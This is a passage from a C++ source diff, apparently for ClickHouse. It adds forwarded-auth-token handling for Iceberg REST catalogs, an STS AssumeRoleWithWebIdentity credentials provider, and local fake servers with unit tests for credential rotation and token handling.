installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + server->setRoute(TABLE_PATH, parked.handler([](const RecordedRequest &) { return json(loadTableResponse("AKIA_VENDED")); })); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); + + auto load = [&] + { + auto query_context = makeQueryContext(alice); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog->getTableMetadata("ns", "t", query_context, metadata); + }; + + auto vending_requests = [&] + { + size_t count = 0; + for (const auto & request : server->requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; + }; + + parked.enable(); + std::thread in_flight(load); + /// Only reached when an assertion below aborts the test early; the normal path joins inline. + SCOPE_EXIT({ + parked.release(); + if (in_flight.joinable()) + in_flight.join(); + }); + + parked.waitUntilParked(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes, alice)); + + parked.release(); + in_flight.join(); + + const auto vends_before = vending_requests(); + + /// The parked query wrote its credentials back after the clear. They belong to the previous + /// generation, so this read must miss the cache and vend again. + load(); + EXPECT_EQ(vending_requests(), vends_before + 1); +} + +TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToken) +{ + ParkedRoute parked; + TestServer server; + installCatalogShape(*server); + + server->setRoute(CATALOG_TOKEN_PATH, parked.handler([&parked](const RecordedRequest & request) + { + const auto secret = parseForm(request.body).at("client_secret"); + if (secret != "secret") + return json(R"({"access_token":"tok_for_rotated_secret","expires_in":3600})"); + + /// Before parking is armed every grant is already outside its validity window, so the + /// warm-up leaves nothing reusable and the in-flight query is guaranteed to mint again. + /// The parked grant itself is long-lived, so that a clobber would actually stick and the + /// assertion is not satisfied by the token merely expiring. + const auto expires_in = parked.isEnabled() ? 3600 : 1; + return json(fmt::format(R"({{"access_token":"tok_for_secret","expires_in":{}}})", expires_in)); + })); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); + + /// Warm up outside the parked window: loads the config and establishes pooled connections. + ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + + parked.enable(); + std::thread in_flight([&] { catalog->getTables(/* auth_token */ {}); }); + /// Only reached when an assertion below aborts the test early; the normal path joins inline. + SCOPE_EXIT({ + parked.release(); + if (in_flight.joinable()) + in_flight.join(); + }); + + parked.waitUntilParked(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes)); + + parked.release(); + in_flight.join(); + + server->clearRequests(); + ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + + /// The parked grant used the pre-rotation secret, so it must not have replaced the token the + /// ALTER eagerly published -- nothing bounds how long that would keep the old credential live. + const auto requests = server->requestsTo(NAMESPACES_PATH); + ASSERT_FALSE(requests.empty()); + EXPECT_EQ(requests.front().header("Authorization"), "Bearer tok_for_rotated_secret"); +} + + +/// `loadConfigIfNeeded` is a read-modify-write on the state with a slow `/v1/config` request in +/// the middle, and `config_mutex` does not exclude `commitSettingsChanges`. Republishing the +/// snapshot it started from would carry the pre-ALTER credentials back with it -- undoing the +/// rotation for good, not for a cache TTL. Reachable only under forwarding, where `/v1/config` +/// is deferred to the first user query rather than fetched in the constructor. +TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentialChange) +{ + /// Declared before the server so that it outlives the threads serving its routes. + ParkedRoute parked; + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + server->setRoute("/v1/config", parked.handler([](const RecordedRequest &) { return json(R"({"defaults":{},"overrides":{}})"); })); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + parked.enable(); + std::thread in_flight([&] { catalog->getTables(alice); }); + /// Only reached when an assertion below aborts the test early; the normal path joins inline. + SCOPE_EXIT({ + parked.release(); + if (in_flight.joinable()) + in_flight.join(); + }); + + parked.waitUntilParked(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes, alice)); + + parked.release(); + in_flight.join(); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + /// The parked query resumes in the new generation, so it exchanges again -- and that + /// exchange authenticates with whatever credentials the published state now holds. They must + /// still be the rotated ones. + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_GE(exchanges.size(), 2u); + EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); +} + +#endif diff --git a/src/Databases/DataLake/tests/rest_catalog_test_server.h b/src/Databases/DataLake/tests/rest_catalog_test_server.h new file mode 100644 index 000000000000..6e40581bafd7 --- /dev/null +++ b/src/Databases/DataLake/tests/rest_catalog_test_server.h @@ -0,0 +1,231 @@ +#pragma once + +#include "config.h" + +#if USE_AVRO + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +namespace RestCatalogTest +{ + +/// One request as the fake catalog saw it. Everything a test needs to assert on: the wire format +/// of a token exchange, that a bearer token reached the catalog, and -- via `query` -- that it +/// never reached a request line. +struct RecordedRequest +{ + std::string method; + std::string path; + std::string query; + std::string body; + std::map headers; + + std::string header(const std::string & name) const + { + auto it = headers.find(name); + return it == headers.end() ? std::string{} : it->second; + } +}; + +/// What a route answers with. +struct Response +{ + int status = 200; + std::string body; + std::string content_type = "application/json"; +}; + +inline Response json(const std::string & body) +{ + return Response{.status = 200, .body = body, .content_type = "application/json"}; +} + +inline Response respondWithStatus(int status, const std::string & body = R"({"error":{"message":"denied"}})") +{ + return Response{.status = status, .body = body, .content_type = "application/json"}; +} + +/// Shared, mutex-guarded state between the test and the request handlers. The handler factory +/// creates a fresh handler per request, so nothing may live in the handler itself. +class ServerState +{ +public: + using Route = std::function; + + /// Routes are matched on the path alone (the query string is recorded, never matched on). + void setRoute(const std::string & path, Route route) + { + std::lock_guard lock(mutex); + routes[path] = std::move(route); + } + + void setStaticRoute(const std::string & path, const std::string & body) + { + setRoute(path, [body](const RecordedRequest &) { return json(body); }); + } + + std::vector requests() const + { + std::lock_guard lock(mutex); + return recorded; + } + + /// Every recorded request whose path is exactly `path`. + std::vector requestsTo(const std::string & path) const + { + std::vector result; + for (const auto & request : requests()) + if (request.path == path) + result.push_back(request); + return result; + } + + size_t countRequestsTo(const std::string & path) const { return requestsTo(path).size(); } + + void clearRequests() + { + std::lock_guard lock(mutex); + recorded.clear(); + } + + Response handle(RecordedRequest request) + { + Route route; + { + std::lock_guard lock(mutex); + recorded.push_back(request); + if (auto it = routes.find(request.path); it != routes.end()) + route = it->second; + } + + /// An unexpected path is a test failure, not a 404 -- it is how "no request was made to + /// the token endpoint" is proven. Answering 599 rather than throwing keeps the failure + /// inside the request: an exception escaping a Poco worker thread aborts the process + /// before gtest can report which case failed. + if (!route) + return Response{ + .status = 599, + .body = "unexpected request to fake Iceberg REST catalog: " + request.method + " " + request.path, + .content_type = "text/plain"}; + + return route(request); + } + +private: + mutable std::mutex mutex; + std::map routes; + std::vector recorded; +}; + +class RequestHandler final : public Poco::Net::HTTPRequestHandler +{ +public: + explicit RequestHandler(std::shared_ptr state_) : state(std::move(state_)) {} + + void handleRequest(Poco::Net::HTTPServerRequest & request, Poco::Net::HTTPServerResponse & response) override + { + const std::string & raw_uri = request.getURI(); + const auto query_pos = raw_uri.find('?'); + + RecordedRequest recorded; + recorded.method = request.getMethod(); + /// The *raw* path, not `Poco::URI::getPath()`: the latter percent-decodes, and Iceberg + /// encodes nested namespaces with `%1F` (the unit separator), so decoding would turn + /// `a%1Fb` into a path no route key can match. + recorded.path = query_pos == std::string::npos ? raw_uri : raw_uri.substr(0, query_pos); + recorded.query = query_pos == std::string::npos ? std::string{} : raw_uri.substr(query_pos + 1); + Poco::StreamCopier::copyToString(request.stream(), recorded.body); + for (const auto & [name, value] : request) + recorded.headers[name] = value; + + const auto result = state->handle(std::move(recorded)); + + response.setStatus(static_cast(result.status)); + response.setContentType(result.content_type); + response.setContentLength(result.body.size()); + response.send() << result.body; + } + +private: + std::shared_ptr state; +}; + +class RequestHandlerFactory final : public Poco::Net::HTTPRequestHandlerFactory +{ +public: + explicit RequestHandlerFactory(std::shared_ptr state_) : state(std::move(state_)) {} + + Poco::Net::HTTPRequestHandler * createRequestHandler(const Poco::Net::HTTPServerRequest &) override + { + return new RequestHandler(state); + } + +private: + std::shared_ptr state; +}; + +/// In-process fake Iceberg REST catalog on an ephemeral port. +class TestServer +{ +public: + TestServer() + : state(std::make_shared()) + , server_socket(std::make_unique(Poco::Net::SocketAddress("127.0.0.1", 0))) + , handler_factory(new RequestHandlerFactory(state)) + , server_params(new Poco::Net::HTTPServerParams()) + , server(std::make_unique(handler_factory, *server_socket, server_params)) + { + /// The HTTP connection pool is a process-wide singleton keyed on host:port, and each test + /// gets a fresh ephemeral port that the kernel readily recycles. Without dropping the + /// cache, a test can be handed a keep-alive socket left over from a previous test's server + /// on the same port and fail with "Connection reset by peer". + DB::HTTPConnectionPools::instance().dropCache(); + + /// Every catalog reads this first. + state->setStaticRoute("/v1/config", R"({"defaults":{},"overrides":{}})"); + server->start(); + } + + ~TestServer() + { + server->stop(); + DB::HTTPConnectionPools::instance().dropCache(); + } + + std::string getUrl() const { return "http://" + server_socket->address().toString(); } + + ServerState & operator*() const { return *state; } + ServerState * operator->() const { return state.get(); } + +private: + std::shared_ptr state; + std::unique_ptr server_socket; + Poco::SharedPtr handler_factory; + Poco::AutoPtr server_params; + std::unique_ptr server; +}; + +} + +#endif diff --git a/src/Databases/IDatabase.h b/src/Databases/IDatabase.h index b92e15ac35d3..e8f27e279307 100644 --- a/src/Databases/IDatabase.h +++ b/src/Databases/IDatabase.h @@ -408,7 +408,7 @@ class IDatabase : public std::enable_shared_from_this return database_name; } - virtual void checkDatabase() const + virtual void checkDatabase(ContextPtr /*context*/) const { //No-op } diff --git a/src/IO/S3/Credentials.cpp b/src/IO/S3/Credentials.cpp index c0c77fc407ca..36e87b63762a 100644 --- a/src/IO/S3/Credentials.cpp +++ b/src/IO/S3/Credentials.cpp @@ -57,11 +57,13 @@ namespace S3 # include # include +# include # include # include # include # include +# include # include # include @@ -1148,7 +1150,30 @@ void AssumeRoleRequest::AddQueryStringParameters(Aws::Http::URI & uri) const uri.AddQueryStringParameter("ExternalId", external_id); } -AssumeRoleResult::AssumeRoleResult(Aws::AmazonWebServiceResult result) +AssumeRoleWithWebIdentityRequest::AssumeRoleWithWebIdentityRequest( + std::string role_arn_, std::string role_session_name_, std::string web_identity_token_) + : role_arn(std::move(role_arn_)) + , role_session_name(std::move(role_session_name_)) + , web_identity_token(std::move(web_identity_token_)) +{ +} + +Aws::Http::HeaderValueCollection AssumeRoleWithWebIdentityRequest::GetHeaders() const +{ + return {{Aws::Http::HeaderValuePair(Aws::Http::CONTENT_TYPE_HEADER, Aws::FORM_CONTENT_TYPE)}}; +} + +Aws::String AssumeRoleWithWebIdentityRequest::SerializePayload() const +{ + return fmt::format( + "Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleArn={}&RoleSessionName={}&WebIdentityToken={}", + DB::formUrlEncode(role_arn), + DB::formUrlEncode(role_session_name), + DB::formUrlEncode(web_identity_token)); +} + +AssumeRoleResult::AssumeRoleResult( + Aws::AmazonWebServiceResult result, const char * result_node_name) { using namespace Aws::Utils::Xml; const auto & xml_document = result.GetPayload(); @@ -1160,10 +1185,10 @@ AssumeRoleResult::AssumeRoleResult(Aws::AmazonWebServiceResult client_) + : role_arn(std::move(role_arn_)) + , session_name(std::move(session_name_)) + , web_identity_token(std::move(web_identity_token_)) + , expiration_window_seconds(expiration_window_seconds_) + , client(std::move(client_)) + , logger(getLogger("AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider")) +{ +} + +Aws::Auth::AWSCredentials AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider::GetAWSCredentials() +{ + Aws::Utils::Threading::ReaderLockGuard guard(m_reloadLock); + if (!IsSetNeedRefresh() && !areCredentialsEmptyOrExpired(credentials, expiration_window_seconds)) + return credentials; + + guard.UpgradeToWriterLock(); + if (!IsSetNeedRefresh() && !areCredentialsEmptyOrExpired(credentials, expiration_window_seconds)) // double-checked lock to avoid refreshing twice + return credentials; + + Reload(); + return credentials; +} + +void AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider::Reload() +{ + LOG_INFO(logger, "Credentials are empty or expired, attempting to renew with AssumeRoleWithWebIdentity for role {}", role_arn); + + AssumeRoleWithWebIdentityRequest request(role_arn, session_name, web_identity_token); + auto outcome = client->assumeRoleWithWebIdentity(request); + if (!outcome.IsSuccess()) + { + credentials = Aws::Auth::AWSCredentials{}; + last_error = outcome.GetError().GetMessage(); + LOG_WARNING(logger, "Failed to get credentials using AssumeRoleWithWebIdentity. Error: {}", last_error); + return; + } + + last_error.clear(); + const auto & result = outcome.GetResult(); + credentials.SetAWSAccessKeyId(result.getAccessKeyID()); + credentials.SetAWSSecretKey(result.getSecretAccessKey()); + credentials.SetSessionToken(result.getSessionToken()); + credentials.SetExpiration(result.getExpiration()); + + AWSCredentialsProvider::Reload(); + + LOG_TRACE(logger, "Successfully retrieved credentials for role {}", role_arn); +} + +std::string AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider::getLastError() const +{ + Aws::Utils::Threading::ReaderLockGuard guard(m_reloadLock); + return last_error; +} + std::shared_ptr getCredentialsProvider( const DB::S3::PocoHTTPClientConfiguration & configuration, const Aws::Auth::AWSCredentials & credentials, diff --git a/src/IO/S3/Credentials.h b/src/IO/S3/Credentials.h index c6e3bdfc2302..89ed71eeda04 100644 --- a/src/IO/S3/Credentials.h +++ b/src/IO/S3/Credentials.h @@ -256,11 +256,32 @@ class AssumeRoleRequest : public Aws::AmazonSerializableWebServiceRequest std::string role_session_name; std::string external_id; }; +class AssumeRoleWithWebIdentityRequest : public Aws::AmazonSerializableWebServiceRequest +{ +public: + AssumeRoleWithWebIdentityRequest(std::string role_arn_, std::string role_session_name_, std::string web_identity_token_); + + Aws::Http::HeaderValueCollection GetHeaders() const override; + + const char * GetServiceRequestName() const override { return "AssumeRoleWithWebIdentity"; } + + Aws::String SerializePayload() const override; + +private: + std::string role_arn; + std::string role_session_name; + std::string web_identity_token; +}; + class AssumeRoleResult { public: + AssumeRoleResult() = default; + /// NOLINTNEXTLINE - AssumeRoleResult(Aws::AmazonWebServiceResult result); + AssumeRoleResult( + Aws::AmazonWebServiceResult result, + const char * result_node_name = "AssumeRoleResult"); const std::string & getAccessKeyID() const { return access_key_id; } @@ -291,10 +312,14 @@ class AWSAssumeRoleClient : public Aws::Client::AWSXMLClient AssumeRoleOutcome assumeRole(const AssumeRoleRequest & request) const; + AssumeRoleOutcome assumeRoleWithWebIdentity(const AssumeRoleWithWebIdentityRequest & request) const; + const auto & getEndpoint() const { return endpoint; } private: Aws::Endpoint::AWSEndpoint endpoint; + /// Same host as `endpoint` without the query string: the action travels in the request body. + Aws::Endpoint::AWSEndpoint web_identity_endpoint; }; class AwsAuthSTSAssumeRoleCredentialsProvider : public Aws::Auth::AWSCredentialsProvider @@ -343,6 +368,37 @@ class AwsAuthSTSAssumeRoleCredentialsProvider : public Aws::Auth::AWSCredentials LoggerPtr logger; }; +/// Takes the web identity token in memory, unlike `AwsAuthSTSAssumeRoleWebIdentityCredentialsProvider`, +/// which reads it from the file named by `AWS_WEB_IDENTITY_TOKEN_FILE`. +class AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider : public Aws::Auth::AWSCredentialsProvider +{ +public: + AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider( + std::string role_arn_, + std::string session_name_, + std::string web_identity_token_, + uint64_t expiration_window_seconds_, + std::shared_ptr client_); + + Aws::Auth::AWSCredentials GetAWSCredentials() override; + + /// Empty after a successful call. + std::string getLastError() const; + +protected: + void Reload() override; + +private: + std::string role_arn; + std::string session_name; + std::string web_identity_token; + uint64_t expiration_window_seconds; + std::shared_ptr client; + Aws::Auth::AWSCredentials credentials; + std::string last_error; + LoggerPtr logger; +}; + std::shared_ptr getCredentialsProvider( const DB::S3::PocoHTTPClientConfiguration & configuration, const Aws::Auth::AWSCredentials & credentials, diff --git a/src/IO/S3/tests/TestPocoHTTPServer.h b/src/IO/S3/tests/TestPocoHTTPServer.h index 62a51e063ca5..d950bcf236b5 100644 --- a/src/IO/S3/tests/TestPocoHTTPServer.h +++ b/src/IO/S3/tests/TestPocoHTTPServer.h @@ -17,6 +17,7 @@ #include #include #include +#include #include #include @@ -109,15 +110,18 @@ struct StsRequestInfo { Poco::Net::MessageHeader headers; Poco::URI::QueryParameters query_params; + std::string body; }; class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler { public: - explicit MockStsRequestHandler(std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_) + explicit MockStsRequestHandler( + std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_, bool reject_) : last_request_info(last_request_info_) , role_access_key(std::move(role_access_key_)) , role_secret_key(std::move(role_secret_key_)) + , reject(reject_) { } @@ -128,20 +132,40 @@ class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler Poco::URI uri(request.getURI()); last_request_info->query_params = uri.getQueryParameters(); + Poco::StreamCopier::copyToString(request.stream(), last_request_info->body); + + /// Each action names its result element after itself. + const bool web_identity = last_request_info->body.find("Action=AssumeRoleWithWebIdentity") != std::string::npos; + const std::string_view action = web_identity ? "AssumeRoleWithWebIdentity" : "AssumeRole"; + + if (reject) + { + response.setStatus(Poco::Net::HTTPResponse::HTTP_FORBIDDEN); + auto & error_out = response.send(); + error_out << R"( + + Sender + InvalidIdentityToken + Incorrect token audience + +)"; + error_out.flush(); + return; + } response.setStatus(Poco::Net::HTTPResponse::HTTP_OK); auto & out = response.send(); std::string result_xml = fmt::format(R"( - - +<{0}Response xmlns="https://sts.amazonaws.com/doc/2011-06-15/"> +<{0}Result> - {} - {} + {1} + {2} session_token - -)", role_access_key, role_secret_key); + +)", action, role_access_key, role_secret_key); out << result_xml; out.flush(); } @@ -149,6 +173,7 @@ class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler std::optional & last_request_info; std::string role_access_key; std::string role_secret_key; + bool reject; }; class StsHTTPRequestHandlerFactory : public Poco::Net::HTTPRequestHandlerFactory @@ -156,16 +181,19 @@ class StsHTTPRequestHandlerFactory : public Poco::Net::HTTPRequestHandlerFactory std::optional & last_request_info; std::string role_access_key; std::string role_secret_key; + bool reject; Poco::Net::HTTPRequestHandler * createRequestHandler(const Poco::Net::HTTPServerRequest &) override { - return new MockStsRequestHandler(last_request_info, role_access_key, role_secret_key); + return new MockStsRequestHandler(last_request_info, role_access_key, role_secret_key, reject); } public: - explicit StsHTTPRequestHandlerFactory(std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_) + explicit StsHTTPRequestHandlerFactory( + std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_, bool reject_) : last_request_info(last_request_info_) , role_access_key(std::move(role_access_key_)) , role_secret_key(std::move(role_secret_key_)) + , reject(reject_) { } @@ -186,9 +214,10 @@ class TestPocoHTTPStsServer std::optional last_request_info; public: - TestPocoHTTPStsServer(std::string role_access_key, std::string role_secret_key): + /// `reject` answers every call with an STS `InvalidIdentityToken` error. + TestPocoHTTPStsServer(std::string role_access_key, std::string role_secret_key, bool reject = false): server_socket(std::make_unique(0)), - handler_factory(new StsHTTPRequestHandlerFactory(last_request_info, std::move(role_access_key), std::move(role_secret_key))), + handler_factory(new StsHTTPRequestHandlerFactory(last_request_info, std::move(role_access_key), std::move(role_secret_key), reject)), server_params(new Poco::Net::HTTPServerParams()), thread_pool("TestPocoHTTPStsServer"), server(std::make_unique(handler_factory, thread_pool, *server_socket, server_params)) @@ -230,4 +259,9 @@ class TestPocoHTTPStsServer { return last_request_info->query_params; } + + const std::string & getLastBody() const + { + return last_request_info->body; + } }; diff --git a/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp b/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp new file mode 100644 index 000000000000..11f01bb26bca --- /dev/null +++ b/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp @@ -0,0 +1,110 @@ +#include + +#include "config.h" + +#if USE_AWS_S3 + +#include +#include +#include +#include + +#include + +#include + +#include +#include + +namespace +{ + +constexpr std::string_view role_access_key = "role_access_key"; +constexpr std::string_view role_secret_key = "role_secret_key"; + +DB::S3::PocoHTTPClientConfiguration makeClientConfiguration(DB::RemoteHostFilter & remote_host_filter) +{ + return DB::S3::ClientFactory::instance().createClientConfiguration( + "eu-west-1", + remote_host_filter, + /* s3_max_redirects = */ 100, + DB::S3::PocoHTTPClientConfiguration::RetryStrategy{.max_retries = 0}, + /* s3_slow_all_threads_after_network_error = */ false, + /* s3_slow_all_threads_after_retryable_error = */ false, + /* enable_s3_requests_logging = */ false, + /* for_disk_s3 = */ false, + /* opt_disk_name = */ {}, + /* request_throttler = */ {}, + "http"); +} + +/// The body is `application/x-www-form-urlencoded`, parsed like a query string. +std::string formParameter(const std::string & body, const std::string & name) +{ + Poco::URI uri; + uri.setRawQuery(body); + for (const auto & [key, value] : uri.getQueryParameters()) + if (key == name) + return value; + return {}; +} + +} + +TEST(STSAssumeRoleWithWebIdentity, SendsTokenInTheBody) +{ + TestPocoHTTPStsServer sts_http(std::string{role_access_key}, std::string{role_secret_key}); + + DB::RemoteHostFilter remote_host_filter; + auto client_configuration = makeClientConfiguration(remote_host_filter); + + auto client = std::make_shared( + std::make_shared(), client_configuration, sts_http.getUrl()); + + const std::string token = "header.payload.signature"; + DB::S3::AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider provider( + "arn:aws:iam::123456789012:role/data-lake-reader", "alice", token, /* expiration_window_seconds = */ 0, client); + + auto credentials = provider.GetAWSCredentials(); + + ASSERT_TRUE(sts_http.hasLastRequest()); + + const auto & body = sts_http.getLastBody(); + EXPECT_EQ(formParameter(body, "Action"), "AssumeRoleWithWebIdentity"); + EXPECT_EQ(formParameter(body, "Version"), "2011-06-15"); + EXPECT_EQ(formParameter(body, "RoleArn"), "arn:aws:iam::123456789012:role/data-lake-reader"); + EXPECT_EQ(formParameter(body, "RoleSessionName"), "alice"); + EXPECT_EQ(formParameter(body, "WebIdentityToken"), token); + + /// Not in the request line, which gets logged. + for (const auto & [key, value] : sts_http.getLastQueryParams()) + { + EXPECT_NE(key, "WebIdentityToken"); + EXPECT_EQ(value.find(token), std::string::npos); + } + + EXPECT_FALSE(sts_http.getLastRequestHeader().has("Authorization")); + + EXPECT_EQ(credentials.GetAWSAccessKeyId(), role_access_key); + EXPECT_EQ(credentials.GetAWSSecretKey(), role_secret_key); + EXPECT_EQ(credentials.GetSessionToken(), "session_token"); +} + +TEST(STSAssumeRoleWithWebIdentity, RejectedTokenYieldsNoCredentials) +{ + TestPocoHTTPStsServer sts_http(std::string{role_access_key}, std::string{role_secret_key}, /* reject = */ true); + + DB::RemoteHostFilter remote_host_filter; + auto client_configuration = makeClientConfiguration(remote_host_filter); + + auto client = std::make_shared( + std::make_shared(), client_configuration, sts_http.getUrl()); + + DB::S3::AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider provider( + "arn:aws:iam::123456789012:role/r", "alice", "token", /* expiration_window_seconds = */ 0, client); + + EXPECT_TRUE(provider.GetAWSCredentials().IsEmpty()); + EXPECT_FALSE(provider.getLastError().empty()); +} + +#endif diff --git a/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp b/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp index cc095e3e0b3e..a9bebc513a8f 100644 --- a/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp +++ b/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp @@ -64,6 +64,11 @@ namespace context->setUser(context->getAccessControl().getID(target_user_name)); + /// The bearer token (see `ForwardedAuthToken`) authenticates the original user, not + /// `target_user_name`, and this switches the session context in place, so it outlives the + /// current query. + context->setForwardedAuthToken(nullptr); + /// We need to update the client info to make currentUser() return `target_user_name`. context->setCurrentUserName(target_user_name); context->setInitialUserName(target_user_name); diff --git a/src/Interpreters/AsynchronousInsertQueue.cpp b/src/Interpreters/AsynchronousInsertQueue.cpp index 068842f3c5f5..eb004e9ed2c5 100644 --- a/src/Interpreters/AsynchronousInsertQueue.cpp +++ b/src/Interpreters/AsynchronousInsertQueue.cpp @@ -126,6 +126,7 @@ AsynchronousInsertQueue::InsertQuery::InsertQuery( const String & current_user_, const String & initial_user_, const String & authenticated_user_, + const ForwardedAuthTokenPtr & forwarded_auth_token_, const Settings & settings_, AsynchronousInsertQueueDataKind data_kind_) : query(query_->clone()) @@ -135,8 +136,10 @@ AsynchronousInsertQueue::InsertQuery::InsertQuery( , current_user(current_user_) , initial_user(initial_user_) , authenticated_user(authenticated_user_) + , forwarded_auth_token(forwarded_auth_token_) , settings(std::make_unique(settings_)) , data_kind(data_kind_) + , forwarded_auth_token_fingerprint(forwarded_auth_token ? forwarded_auth_token->fingerprint : String{}) { SipHash siphash; @@ -160,6 +163,10 @@ AsynchronousInsertQueue::InsertQuery::InsertQuery( siphash.update(identity_field); } + /// A rotated token must start a separate batch even when the authenticated user is unchanged. + siphash.update(forwarded_auth_token_fingerprint.size()); + siphash.update(forwarded_auth_token_fingerprint); + setting_changes = settings->changes(); for (auto it = setting_changes.begin(); it != setting_changes.end();) { @@ -187,6 +194,8 @@ AsynchronousInsertQueue::InsertQuery::InsertQuery(const InsertQuery & other) current_user = other.current_user; initial_user = other.initial_user; authenticated_user = other.authenticated_user; + forwarded_auth_token = other.forwarded_auth_token; + forwarded_auth_token_fingerprint = other.forwarded_auth_token_fingerprint; settings = std::make_unique(*other.settings); data_kind = other.data_kind; hash = other.hash; @@ -205,6 +214,8 @@ AsynchronousInsertQueue::InsertQuery::operator=(const InsertQuery & other) current_user = other.current_user; initial_user = other.initial_user; authenticated_user = other.authenticated_user; + forwarded_auth_token = other.forwarded_auth_token; + forwarded_auth_token_fingerprint = other.forwarded_auth_token_fingerprint; settings = std::make_unique(*other.settings); data_kind = other.data_kind; hash = other.hash; @@ -560,6 +571,7 @@ AsynchronousInsertQueue::PushResult AsynchronousInsertQueue::pushDataChunk(ASTPt client_info.current_user, client_info.initial_user, client_info.authenticated_user, + query_context->getForwardedAuthToken(), settings, data_kind}; InsertDataPtr data_to_process; @@ -1015,6 +1027,7 @@ try insert_context->setCurrentUserName(key.current_user); insert_context->setInitialUserName(key.initial_user); insert_context->setAuthenticatedUserName(key.authenticated_user); + insert_context->setForwardedAuthToken(key.forwarded_auth_token); insert_context->setSettings(*key.settings); diff --git a/src/Interpreters/AsynchronousInsertQueue.h b/src/Interpreters/AsynchronousInsertQueue.h index 5007f121d431..8e761c3289e9 100644 --- a/src/Interpreters/AsynchronousInsertQueue.h +++ b/src/Interpreters/AsynchronousInsertQueue.h @@ -1,5 +1,6 @@ #pragma once +#include #include #include #include @@ -95,6 +96,8 @@ class AsynchronousInsertQueue : public WithContext String current_user; String initial_user; String authenticated_user; + /// Retain the verified credential until the batch is flushed. + ForwardedAuthTokenPtr forwarded_auth_token; std::unique_ptr settings; AsynchronousInsertQueueDataKind data_kind; @@ -107,6 +110,7 @@ class AsynchronousInsertQueue : public WithContext const String & current_user_, const String & initial_user_, const String & authenticated_user_, + const ForwardedAuthTokenPtr & forwarded_auth_token_, const Settings & settings_, AsynchronousInsertQueueDataKind data_kind_); @@ -116,7 +120,14 @@ class AsynchronousInsertQueue : public WithContext StorageID getStorageID() const; private: - auto toTupleCmp() const { return std::tie(data_kind, query_str, user_id, current_roles, current_user, initial_user, authenticated_user, setting_changes); } + auto toTupleCmp() const + { + return std::tie( + data_kind, query_str, user_id, current_roles, current_user, initial_user, + authenticated_user, forwarded_auth_token_fingerprint, setting_changes); + } + + String forwarded_auth_token_fingerprint; std::vector setting_changes; }; diff --git a/src/Interpreters/Context.cpp b/src/Interpreters/Context.cpp index 3d27e1f4a075..e3fcfc3c5fb3 100644 --- a/src/Interpreters/Context.cpp +++ b/src/Interpreters/Context.cpp @@ -1280,6 +1280,7 @@ ContextData::ContextData() ContextData::ContextData(const ContextData &o) : shared(o.shared), client_info(o.client_info), + forwarded_auth_token(o.forwarded_auth_token), external_tables_initializer_callback(o.external_tables_initializer_callback), input_initializer_callback(o.input_initializer_callback), input_blocks_reader(o.input_blocks_reader), @@ -7472,6 +7473,11 @@ void Context::setClientInfo(const ClientInfo & client_info_) need_recalculate_access = true; } +void Context::setForwardedAuthToken(ForwardedAuthTokenPtr token) +{ + forwarded_auth_token = std::move(token); +} + void Context::setClientName(const String & client_name) { client_info.client_name = client_name; diff --git a/src/Interpreters/Context.h b/src/Interpreters/Context.h index 5a9943af651d..3cce01873ee7 100644 --- a/src/Interpreters/Context.h +++ b/src/Interpreters/Context.h @@ -15,6 +15,7 @@ #include #include #include +#include #include #include #include @@ -361,6 +362,10 @@ class ContextData ContextSharedPart * shared{}; ClientInfo client_info; + /// See `ForwardedAuthToken`. Populated only when the server-level `enable_token_forwarding` + /// setting is on and the credentials were a `TokenCredentials`. Unlike 